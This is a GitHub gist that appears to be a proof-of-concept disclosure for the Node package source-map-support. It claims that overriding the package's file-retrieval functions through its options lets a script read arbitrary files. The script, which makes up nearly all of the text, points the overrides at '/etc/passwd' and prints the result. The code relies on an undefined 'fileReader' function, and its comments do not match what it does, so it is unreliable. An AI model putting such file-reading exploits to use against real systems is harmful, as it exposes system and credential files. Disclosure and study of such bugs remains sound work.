Skip to content

Instantly share code, notes, and snippets.

@mcoimbra
Last active November 10, 2023 12:11
Show Gist options
  • Save mcoimbra/0f889d69b39c1c09aa6a8c001072402e to your computer and use it in GitHub Desktop.
Save mcoimbra/0f889d69b39c1c09aa6a8c001072402e to your computer and use it in GitHub Desktop.
Package source-map-support: Possible to inject custom file-reading functions to the package and read an arbitrary file.
'use strict'
const path = require('path');
const pkg = require('source-map-support');
/*
* Possible to use 'options' to override internal functions of the package.
* For example to retrieve contents of a file that is two directories above the current one.
*/
const options = {
overrideRetrieveSourceMap: true,
retrieveSourceMap: function(src) { return fileReader('/etc/passwd') },
overrideRetrieveFile: true,
retrieveFile: function(src) { return fileReader('/etc/passwd') },
}
pkg.install(options);
const targetPath = path.join(__dirname, '..', '..', 'exploited.txt');
const retData = pkg.retrieveSourceMap(targetPath);
/*
* This will output the contents of the file.
*/
console.log(retData);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment